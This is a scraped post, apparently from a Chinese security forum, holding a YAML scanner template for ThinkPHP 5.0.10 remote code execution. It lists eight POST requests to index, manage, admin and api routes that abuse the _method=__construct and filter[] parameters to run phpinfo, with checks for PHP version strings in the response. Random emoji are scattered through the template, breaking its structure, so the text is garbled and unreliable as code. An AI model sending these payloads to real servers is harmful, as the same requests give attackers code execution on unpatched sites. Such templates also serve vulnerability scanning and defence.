thinkphp-5010-rce漏洞 |
漏洞文件后缀名是.yaml
id: thinkphp-5010-rce info: name: ThinkPHP 5.0.10 RCE ✋🚗🌶❓🐖 author: zan8inseverity: critical description: ThinkPHP <= 5.0.13 reference: - https://github.com/Lotus6/ThinkphpGUI/blob/main/ThinkphpGUI/src/main/java/exploit/🛍📀🥱🖕 rules: r0: request: method: POST 🤛⛄🍊📵🪰 path: /?s=indexbody: | s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r1: 🤌🏦🌶🈚🐅 request: method: POST path: /?s=manage body: | s=-1&_method=__construct&method=post&filter[]=phpinfo🧑🍳🧢📟🙂👃 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r2: request: method: POST path: /?s=admin 👃🚈🍽♻🐅 body: |s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r3: request: 🧑🚀🪖🔑😚🧠 method: POST path: /?s=api body: | s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) 👏💈🥩‼🐉 r4:request: method: POST path: /?s=index body: | 🙏⛄🥣 _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r5: request: method: POST 👄🔪🈷🐺 path: /?s=manage body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r6: 💪🌕🍪🈴🦄 request: method: POST path: /?s=admin body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1🧑🍳👠🔭🤬✊ expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r7: request: method: POST path: /?s=api 🧦🪦😥👄 body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) expression: r0() || r1() || r2() || r3() || r4() || r5() || r6()|| r7()
帖子热度 1542 ℃
|
|